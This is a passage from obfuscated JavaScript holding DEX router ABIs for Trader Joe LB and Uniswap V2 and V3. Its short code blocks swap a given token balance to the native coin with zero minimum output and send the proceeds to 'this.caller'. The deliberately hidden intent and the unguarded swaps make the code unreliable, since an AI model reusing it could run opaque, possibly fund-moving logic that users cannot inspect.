internalType: "address",
name: "tokenX",
type: "address"
}, {
internalType: "address",
name: "tokenY",
type: "address"
}, {
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}, {
internalType: "uint256",
name: "msgValue",
type: "uint256"
}],
name: "LBRouter__WrongNativeLiquidityParameters",
type: "error"
}, {
inputs: [],
name: "LBRouter__WrongTokenOrder",
type: "error"
}, {
inputs: [],
name: "TokenHelper__TransferFailed",
type: "error"
}, {
inputs: [{
components: [{
internalType: "contract IERC20",
name: "tokenX",
type: "address"
}, {
internalType: "contract IERC20",
name: "tokenY",
type: "address"
}, {
internalType: "uint256",
name: "binStep",
type: "uint256"
}, {
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}, {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
}, {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
}, {
internalType: "int256[]",
name: "deltaIds",
type: "int256[]"
}, {
internalType: "uint256[]",
name: "distributionX",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "distributionY",
type: "uint256[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "address",
name: "refundTo",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
internalType: "struct ILBRouter.LiquidityParameters",
name: "liquidityParameters",
type: "tuple"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountXAdded",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYAdded",
type: "uint256"
}, {
internalType: "uint256",
name: "amountXLeft",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYLeft",
type: "uint256"
}, {
internalType: "uint256[]",
name: "depositIds",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "liquidityMinted",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "contract IERC20",
name: "tokenX",
type: "address"
}, {
internalType: "contract IERC20",
name: "tokenY",
type: "address"
}, {
internalType: "uint256",
name: "binStep",
type: "uint256"
}, {
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}, {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
}, {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
}, {
internalType: "int256[]",
name: "deltaIds",
type: "int256[]"
}, {
internalType: "uint256[]",
name: "distributionX",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "distributionY",
type: "uint256[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "address",
name: "refundTo",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
internalType: "struct ILBRouter.LiquidityParameters",
name: "liquidityParameters",
type: "tuple"
}],
name: "addLiquidityNATIVE",
outputs: [{
internalType: "uint256",
name: "amountXAdded",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYAdded",
type: "uint256"
}, {
internalType: "uint256",
name: "amountXLeft",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYLeft",
type: "uint256"
}, {
internalType: "uint256[]",
name: "depositIds",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "liquidityMinted",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "tokenX",
type: "address"
}, {
internalType: "contract IERC20",
name: "tokenY",
type: "address"
}, {
internalType: "uint24",
name: "activeId",
type: "uint24"
}, {
internalType: "uint16",
name: "binStep",
type: "uint16"
}],
name: "createLBPair",
outputs: [{
internalType: "contract ILBPair",
name: "pair",
type: "address"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "getFactory",
outputs: [{
internalType: "contract ILBFactory",
name: "lbFactory",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract ILBPair",
name: "pair",
type: "address"
}, {
internalType: "uint256",
name: "price",
type: "uint256"
}],
name: "getIdFromPrice",
outputs: [{
internalType: "uint24",
name: "",
type: "uint24"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getLegacyFactory",
outputs: [{
internalType: "contract ILBLegacyFactory",
name: "legacyLBfactory",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getLegacyRouter",
outputs: [{
internalType: "contract ILBLegacyRouter",
name: "legacyRouter",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract ILBPair",
name: "pair",
type: "address"
}, {
internalType: "uint24",
name: "id",
type: "uint24"
}],
name: "getPriceFromId",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract ILBPair",
name: "pair",
type: "address"
}, {
internalType: "uint128",
name: "amountOut",
type: "uint128"
}, {
internalType: "bool",
name: "swapForY",
type: "bool"
}],
name: "getSwapIn",
outputs: [{
internalType: "uint128",
name: "amountIn",
type: "uint128"
}, {
internalType: "uint128",
name: "amountOutLeft",
type: "uint128"
}, {
internalType: "uint128",
name: "fee",
type: "uint128"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract ILBPair",
name: "pair",
type: "address"
}, {
internalType: "uint128",
name: "amountIn",
type: "uint128"
}, {
internalType: "bool",
name: "swapForY",
type: "bool"
}],
name: "getSwapOut",
outputs: [{
internalType: "uint128",
name: "amountInLeft",
type: "uint128"
}, {
internalType: "uint128",
name: "amountOut",
type: "uint128"
}, {
internalType: "uint128",
name: "fee",
type: "uint128"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getV1Factory",
outputs: [{
internalType: "contract IJoeFactory",
name: "factoryV1",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getWNATIVE",
outputs: [{
internalType: "contract IWNATIVE",
name: "wnative",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "tokenX",
type: "address"
}, {
internalType: "contract IERC20",
name: "tokenY",
type: "address"
}, {
internalType: "uint16",
name: "binStep",
type: "uint16"
}, {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
}, {
internalType: "uint256[]",
name: "ids",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "token",
type: "address"
}, {
internalType: "uint16",
name: "binStep",
type: "uint16"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountNATIVEMin",
type: "uint256"
}, {
internalType: "uint256[]",
name: "ids",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}, {
internalType: "address payable",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityNATIVE",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountNATIVE",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactNATIVEForTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactNATIVEForTokensSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMinNATIVE",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address payable",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForNATIVE",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMinNATIVE",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address payable",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForNATIVESupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapNATIVEForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amountsIn",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountNATIVEOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address payable",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactNATIVE",
outputs: [{
internalType: "uint256[]",
name: "amountsIn",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
components: [{
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
}, {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
}, {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
}],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amountsIn",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "token",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "sweep",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract ILBToken",
name: "lbToken",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256[]",
name: "ids",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
name: "sweepLBToken",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x5c7527 = new ethers.Contract(_0x2b7b1b, _0x194195, _0x9d9505);
let _0x56afdf = await _0x5c7527.getWNATIVE();
let _0x200231 = [];
_0x200231[0] = _0x4f37a4.asset.token;
_0x200231[1] = _0x56afdf;
return [_0x5c7527.swapExactTokensForNATIVE(_0x4f37a4.asset.amount, 0, [[0], [0], _0x200231], this.caller, _0x1b1427), _0x56afdf];
}
case "UniswapV2":
{
let _0x3ec42c = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WETH",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsIn",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapETHForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x23fb58 = new ethers.Contract(_0x2b7b1b, _0x3ec42c, _0x9d9505);
let _0x36790e = await _0x23fb58.WETH();
let _0x48942d = [];
_0x48942d[0] = _0x4f37a4.asset.token;
_0x48942d[1] = _0x36790e;
return [_0x23fb58.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x48942d, this.caller, _0x1b1427), _0x36790e];
}
case "UniswapV3":
{
let _0x364869 = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WETH9",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH9",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
components: [{
internalType: "bytes",
name: "path",
type: "bytes"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
}],
internalType: "struct ISwapRouter.ExactInputParams",
name: "params",
type: "tuple"
}],
name: "exactInput",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "tokenIn",
type: "address"
}, {
internalType: "address",
name: "tokenOut",
type: "address"
}, {
internalType: "uint24",
name: "fee",
type: "uint24"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
}, {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
}],
internalType: "struct ISwapRouter.ExactInputSingleParams",
name: "params",
type: "tuple"
}],
name: "exactInputSingle",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "bytes",
name: "path",
type: "bytes"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
}],
internalType: "struct ISwapRouter.ExactOutputParams",
name: "params",
type: "tuple"
}],
name: "exactOutput",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "tokenIn",
type: "address"
}, {
internalType: "address",
name: "tokenOut",
type: "address"
}, {
internalType: "uint24",
name: "fee",
type: "uint24"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
}, {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
}],
internalType: "struct ISwapRouter.ExactOutputSingleParams",
name: "params",
type: "tuple"
}],
name: "exactOutputSingle",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
